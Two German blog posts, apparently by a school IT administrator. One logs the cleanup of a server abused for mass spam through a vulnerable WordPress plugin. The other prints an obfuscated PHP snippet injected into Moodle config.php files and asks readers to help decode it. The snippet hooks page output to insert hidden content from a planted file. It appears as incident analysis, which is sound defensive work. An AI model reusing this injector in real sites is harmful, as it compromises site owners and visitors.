Gehackt und zum Spamversand missbraucht …

Diens­tag, 8:15 Uhr:

Men­no, die Schul­home­page ist ja wie­der schne­cken­lahm. Joom­la ist doch ein­fach Mist. Jetzt aber los zur Bera­tung zwei­er Schulen.

Diens­tag, 14:42 Uhr:

Boah ey, immer noch. Ich rufe da gleich mal im Rechen­zen­trum an. Das Ding ist zwar gespons­ort, aber so … Hm. Zur Sicher­heit guckst du dir wohl bes­ser noch­mal die Sache von der Kon­so­le aus an.

Diens­tag, 14:53 Uhr:

Über 50 akti­ve post­fix-Pro­zes­se, Load bei 22, vie­les boun­ce-Pro­zes­se – komisch, sind wir wie­der mal auf irgend­ei­ner Black­list gelan­det? Aber wir ver­schi­cken über die­sen Ser­ver doch gar kei­ne Mails.

Diens­tag, 15:01 Uhr:

Arrrgh. 46531 Mails in der Queue. Alle mit einer Domain, die gar nicht als akti­ve Mail­do­main genutzt wird. Und: Wir sind so ziem­lich auf allen Black­lists gelan­det. Bes­ser mal das Mail­sys­tem her­un­ter­fah­ren. Puh. Load nor­ma­li­siert sich.

Diens­tag, 15:13 Uhr:

Erst­mal ist Ruhe – zumin­dest geht nichts mehr raus, aber die Mail­queue füllt sich wie­der Stück für Stück mit ca. 3 Mails / Sekun­de und war­tet auf Aus­lie­fe­rung. Damit ist zumin­dest der Mail­ser­ver schon­mal sau­ber. Kommt der Kram über den Web­ser­ver rein? Ooops. Des­sen Log ist ja leer?

Diens­tag, 15:42 Uhr:

Joah. Der Mist kommt über Apa­che rein und irgend­ein Script setzt des­sen Log auf Null. Aber: Es gibt ja noch wei­te­re Logs an Orten, die der Wurm so nicht vor­her­se­hen konn­te. Aber wel­ches ist das Rich­ti­ge? Auf dem Ser­ver lie­gen unzäh­li­gen Home­pages von Schu­len und auch Testinstallationen.

Diens­tag, 16:25 Uhr:

Ein Log ist beson­ders groß. Dank tail mal die letz­ten 50 Zei­len aus­ge­ben. Tref­fer! Ein Word­Press­plug­in, aktu­ells­te Ver­si­on, trotz­dem offen­bar ver­wund­bar. Vie­le net­te ver­schlüs­sel­te PHP-Scripts als Pay­load. Alles säu­ber­lich im Cus­tom­log als Pfadangabe.

Diens­tag, 16:48 Uhr:

War­tungs­sei­te set­zen, Instal­la­ti­on hin­ter .htac­cess-Schutz ver­ste­cken, Mail­ser­ver anfah­ren, warten.

Diens­tag, 17:03 Uhr:

Mail­ser­ver bleibt unauf­fäl­lig. Ver­seuch­te Instal­la­ti­on rei­ni­gen und wie­der online stel­len. Da es ein Kalen­der­plug­in war, gibt es lei­der eini­ges an Datenverlust.

Diens­tag, 18:15 Uhr:

Seufz. Dann man die IP von dem Spam­lis­ten delis­ten (las­sen). Mails an t‑online hän­gen immer noch :o(…

Tage, an denen es bes­ser wäre, ein­fach nur Leh­rer zu sein. Hei­se kam just zum Zeit­punkt mei­ner Suche mit der ent­spre­chen­den War­nung raus – wäh­rend ich schon such­te. Und natür­lich war dann ein Able­ger eines von mir ein­ge­setz­ten Plug­ins auf der ent­spre­chen­den Lis­te. Tja. Es ist halt nicht immer gut, unter den ers­ten zu sein.

Moodlehack – kann das jemand decodieren?

Frü­he­re Ver­sio­nen von Mood­le, ins­be­son­de­re die 1.8er-Reihe beka­men des Öfte­ren Besuch (neue­re 1.8er-Versionen,. z.B. 1.8.9 sind gefixt), wobei die­ser Code in die config.php ein­ge­schleust wur­de (hier unvoll­stän­dig dar­ge­stellt – hier Voll­text):

if(function_exists(‚ob_start‘)&&!isset($GLOBALS[’sh_no‘])){$GLOBALS[’sh_no‘]=1;if(file_exists(‚/path/to/moodle/lang/be/help/resource/type/mdl_utf.php‘)){include_once(‚/home/www/web10/html/moodle/lang/be/help/resource/type/mdl_utf.php‘);if(function_exists(‚gml‘)&&!function_exists(‚dgobh‘)){if(!function_exists(‚gzdecode‘)){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack(‚v‘,substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header(‚Content-Encoding: none‘);$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match(‚/\<body/si‘,$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace(‚/(\<body[^\>]*\>)/si‘,‘$1‘.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start(‚dgobh‘);}}}

Der Code ist schon­mal so mies, dass das Mood­le­sys­tem nach dem Ein­schleu­sen teil­wei­se nicht mehr funk­tio­niert und so der Hack schnell erkannt ist. Mich wür­de inter­es­sie­ren, was der Code genau bezwe­cken soll, damit man etwas über die Moti­va­ti­on des „Angrei­fers“ erfährt. Will er nur spam­men? Will er Daten klau­en? Ist die Daten­bank nach einem erfolg­rei­chen Hack noch zu gebrau­chen? Auf jeden Fall wird auf die imap- und mcrypt-Funk­tio­na­li­tät von PHP zurückgegriffen…